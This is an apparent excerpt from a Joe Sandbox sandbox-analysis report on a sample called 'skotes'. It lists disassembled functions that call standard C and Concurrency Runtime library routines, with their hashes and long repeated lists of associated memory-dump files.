Associated: 00000006.00000002.2980503317.000000000043F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980692553.000000000046B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980778096.000000000046C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980867276.000000000046F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980941400.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980991090.0000000000480000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000_skotes.jbxd

Yara matches

Similarity

API ID: Resource$Concurrency::details::Execution$CurrentManager::Proxy::RemoveSchedulerThreadstd::invalid_argument::invalid_argument
String ID: pScheduler
API String ID: 246774199-923244539
Opcode ID: bfdeb3b9458a5a2a3ce151945dd7b753591379b67491dd870c18181823aeebb0
Instruction ID: dc93c6a99822ff54ac3aa48c481c20e8d805858415cafb89534818a9eb4df1e9
Opcode Fuzzy Hash: bfdeb3b9458a5a2a3ce151945dd7b753591379b67491dd870c18181823aeebb0
Instruction Fuzzy Hash: 06F02E3DA40604B7C725FA54EC83C9EF3799EA6754B50812DF41557181DF70AE05CAD2

Function 001BCBDF Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 001BCC66

Memory Dump Source

Source File: 00000006.00000002.2974802669.0000000000181000.00000040.00000001.01000000.00000008.sdmp, Offset: 00180000, based on PE: true

Associated: 00000006.00000002.2974620458.0000000000180000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2974802669.00000000001E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975238196.00000000001E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975388847.00000000001EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975507603.00000000001F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976140670.0000000000345000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976317830.0000000000348000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000358000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000362000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976672343.000000000036C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976809142.000000000036F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976975738.0000000000378000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977129481.000000000037F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977294228.0000000000394000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977500329.0000000000395000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977611697.000000000039E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977824513.00000000003AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978078702.00000000003C4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978306319.00000000003C8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978432341.00000000003C9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978548767.00000000003CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978675529.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978857853.00000000003D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978966178.00000000003D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979043383.00000000003D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979125567.00000000003DA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979242015.00000000003DB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979358822.00000000003E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979464086.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979563451.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979662829.00000000003E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979766674.00000000003EF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979863912.00000000003F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979962097.00000000003F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980030613.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980125576.00000000003FA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980227880.0000000000402000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980421694.000000000041D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.0000000000421000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.000000000043F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980692553.000000000046B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980778096.000000000046C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980867276.000000000046F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980941400.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980991090.0000000000480000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: c90ae3db66b5619743134332522a0b96de832b73a835be1452314c5289bd2e52
Instruction ID: 2f7aa7655357a8c40e60c4854a0e7245e54688fccf9920d2028e666080f48b36
Opcode Fuzzy Hash: c90ae3db66b5619743134332522a0b96de832b73a835be1452314c5289bd2e52
Instruction Fuzzy Hash: F9B11132A042869FDB15CF68C881BEEBFA5EF65340F15816AE855EB242D734DD01CBE0

Function 001C67A9 Relevance: 6.2, APIs: 4, Instructions: 245COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 001C6902
__alloca_probe_16.LIBCMT ref: 001C6998
__freea.LIBCMT ref: 001C6A03
__freea.LIBCMT ref: 001C6A0F

Memory Dump Source

Source File: 00000006.00000002.2974802669.0000000000181000.00000040.00000001.01000000.00000008.sdmp, Offset: 00180000, based on PE: true

Associated: 00000006.00000002.2974620458.0000000000180000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2974802669.00000000001E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975238196.00000000001E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975388847.00000000001EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975507603.00000000001F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976140670.0000000000345000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976317830.0000000000348000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000358000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000362000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976672343.000000000036C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976809142.000000000036F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976975738.0000000000378000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977129481.000000000037F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977294228.0000000000394000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977500329.0000000000395000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977611697.000000000039E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977824513.00000000003AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978078702.00000000003C4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978306319.00000000003C8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978432341.00000000003C9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978548767.00000000003CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978675529.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978857853.00000000003D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978966178.00000000003D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979043383.00000000003D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979125567.00000000003DA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979242015.00000000003DB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979358822.00000000003E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979464086.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979563451.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979662829.00000000003E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979766674.00000000003EF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979863912.00000000003F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979962097.00000000003F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980030613.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980125576.00000000003FA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980227880.0000000000402000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980421694.000000000041D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.0000000000421000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.000000000043F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980692553.000000000046B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980778096.000000000046C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980867276.000000000046F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980941400.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980991090.0000000000480000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000_skotes.jbxd

Yara matches

Similarity

API ID: __alloca_probe_16__freea
String ID:
API String ID: 1635606685-0
Opcode ID: 2f2b1f129b17dcf3af0f3c6b0552df1988bc1ea999e39d3354940bc31795e49b
Instruction ID: fcd26ce7d7c3c6cc5c1302a823658d48f8b296dfa0e281f47424daa23702556b
Opcode Fuzzy Hash: 2f2b1f129b17dcf3af0f3c6b0552df1988bc1ea999e39d3354940bc31795e49b
Instruction Fuzzy Hash: 2481BF72D00255AFDF209EA48881FEE7BB99F69354F19405DE805B7281E735CC40CBA1

Function 001B504E Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 001B5115
___AdjustPointer.LIBCMT ref: 001B5138
___AdjustPointer.LIBCMT ref: 001B51D4

Memory Dump Source

Source File: 00000006.00000002.2974802669.0000000000181000.00000040.00000001.01000000.00000008.sdmp, Offset: 00180000, based on PE: true

Associated: 00000006.00000002.2974620458.0000000000180000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2974802669.00000000001E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975238196.00000000001E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975388847.00000000001EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975507603.00000000001F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976140670.0000000000345000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976317830.0000000000348000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000358000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000362000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976672343.000000000036C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976809142.000000000036F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976975738.0000000000378000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977129481.000000000037F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977294228.0000000000394000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977500329.0000000000395000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977611697.000000000039E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977824513.00000000003AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978078702.00000000003C4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978306319.00000000003C8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978432341.00000000003C9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978548767.00000000003CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978675529.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978857853.00000000003D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978966178.00000000003D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979043383.00000000003D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979125567.00000000003DA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979242015.00000000003DB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979358822.00000000003E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979464086.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979563451.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979662829.00000000003E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979766674.00000000003EF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979863912.00000000003F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979962097.00000000003F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980030613.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980125576.00000000003FA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980227880.0000000000402000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980421694.000000000041D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.0000000000421000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.000000000043F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980692553.000000000046B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980778096.000000000046C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980867276.000000000046F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980941400.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980991090.0000000000480000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000_skotes.jbxd

Yara matches

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 3c93c71402adbffb925f962d98c6d85358dfa820c99199baede51a9e59606c6a
Instruction ID: 753a5a1330e62362997c004d967f2b0cb86dea47ce692dd31e09f24d991c74a7
Opcode Fuzzy Hash: 3c93c71402adbffb925f962d98c6d85358dfa820c99199baede51a9e59606c6a
Instruction Fuzzy Hash: F551F872601A06AFDB299F58D881BFA77B6EF24300F24452DF81697291E731ED41DB90

Function 001B4C15 Relevance: 6.1, APIs: 4, Instructions: 141COMMON

Download Yara Rule

APIs

TypeidsEqual.LIBVCRUNTIME ref: 001B4C66
TypeidsEqual.LIBVCRUNTIME ref: 001B4C8B
PMDtoOffset.LIBCMT ref: 001B4CA1
PMDtoOffset.LIBCMT ref: 001B4D22

Memory Dump Source

Source File: 00000006.00000002.2974802669.0000000000181000.00000040.00000001.01000000.00000008.sdmp, Offset: 00180000, based on PE: true

Associated: 00000006.00000002.2974620458.0000000000180000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2974802669.00000000001E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975238196.00000000001E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975388847.00000000001EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975507603.00000000001F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976140670.0000000000345000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976317830.0000000000348000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000358000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000362000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976672343.000000000036C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976809142.000000000036F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976975738.0000000000378000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977129481.000000000037F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977294228.0000000000394000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977500329.0000000000395000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977611697.000000000039E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977824513.00000000003AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978078702.00000000003C4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978306319.00000000003C8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978432341.00000000003C9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978548767.00000000003CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978675529.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978857853.00000000003D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978966178.00000000003D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979043383.00000000003D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979125567.00000000003DA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979242015.00000000003DB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979358822.00000000003E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979464086.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979563451.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979662829.00000000003E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979766674.00000000003EF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979863912.00000000003F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979962097.00000000003F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980030613.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980125576.00000000003FA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980227880.0000000000402000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980421694.000000000041D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.0000000000421000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.000000000043F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980692553.000000000046B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980778096.000000000046C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980867276.000000000046F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980941400.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980991090.0000000000480000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000_skotes.jbxd

Yara matches

Similarity

API ID: EqualOffsetTypeids
String ID:
API String ID: 1707706676-0
Opcode ID: f8ad74cfaf4da85e0defff2bffeebfbe5beaccf25cb2e0bdfe85511ce37fdb4b
Instruction ID: 6c2360fafd852be33f8e745ea74a995b828326f22b365b6ab993a82c27842942
Opcode Fuzzy Hash: f8ad74cfaf4da85e0defff2bffeebfbe5beaccf25cb2e0bdfe85511ce37fdb4b
Instruction Fuzzy Hash: 0551AC39A042499FDF21CFA8C4806EEFBF5EF25354F14849AE850A7352D732AE05CB90

Function 001ADB30 Relevance: 6.1, APIs: 4, Instructions: 123COMMON

Download Yara Rule

APIs

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 001ADB64

Part of subcall function 001A8F2F: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 001A8F50

Concurrency::details::InternalContextBase::FindWorkForBlockingOrNesting.LIBCONCRT ref: 001ADBC3
Concurrency::details::InternalContextBase::PrepareForUse.LIBCONCRT ref: 001ADBE9
Concurrency::location::_Assign.LIBCMT ref: 001ADC56

Memory Dump Source

Source File: 00000006.00000002.2974802669.0000000000181000.00000040.00000001.01000000.00000008.sdmp, Offset: 00180000, based on PE: true

Associated: 00000006.00000002.2974620458.0000000000180000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2974802669.00000000001E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975238196.00000000001E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975388847.00000000001EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975507603.00000000001F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976140670.0000000000345000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976317830.0000000000348000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000358000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000362000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976672343.000000000036C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976809142.000000000036F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976975738.0000000000378000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977129481.000000000037F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977294228.0000000000394000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977500329.0000000000395000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977611697.000000000039E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977824513.00000000003AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978078702.00000000003C4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978306319.00000000003C8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978432341.00000000003C9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978548767.00000000003CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978675529.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978857853.00000000003D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978966178.00000000003D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979043383.00000000003D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979125567.00000000003DA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979242015.00000000003DB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979358822.00000000003E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979464086.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979563451.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979662829.00000000003E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979766674.00000000003EF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979863912.00000000003F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979962097.00000000003F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980030613.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980125576.00000000003FA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980227880.0000000000402000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980421694.000000000041D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.0000000000421000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.000000000043F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980692553.000000000046B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980778096.000000000046C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980867276.000000000046F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980941400.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980991090.0000000000480000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000_skotes.jbxd

Yara matches

Similarity

API ID: Context$Base::Concurrency::details::$EventInternal$AssignBlockingConcurrency::location::_FindNestingPrepareThrowTraceWork
String ID:
API String ID: 1091748018-0
Opcode ID: 182145fb0e8283f3c66305b951ad4c95ea1fa06ccd4665f12219e0b24487b98e
Instruction ID: 2892c39b1243d84fbccda82f8934ceeb242cd167468c622c07a0584b71f4ece2
Opcode Fuzzy Hash: 182145fb0e8283f3c66305b951ad4c95ea1fa06ccd4665f12219e0b24487b98e
Instruction Fuzzy Hash: B9410378600210BBCF19AB24D886BBEBB75AF5A320F04409DE5079B7C2CF70AD45C7A1

Function 001A56AF Relevance: 6.1, APIs: 4, Instructions: 117COMMONLIBRARYCODE

Download Yara Rule

APIs

_InternalDeleteHelper.LIBCONCRT ref: 001A56F2
_InternalDeleteHelper.LIBCONCRT ref: 001A5726
Concurrency::details::SchedulerBase::TraceSchedulerEvent.LIBCMT ref: 001A578B
SafeRWList.LIBCONCRT ref: 001A579A

Memory Dump Source

Source File: 00000006.00000002.2974802669.0000000000181000.00000040.00000001.01000000.00000008.sdmp, Offset: 00180000, based on PE: true

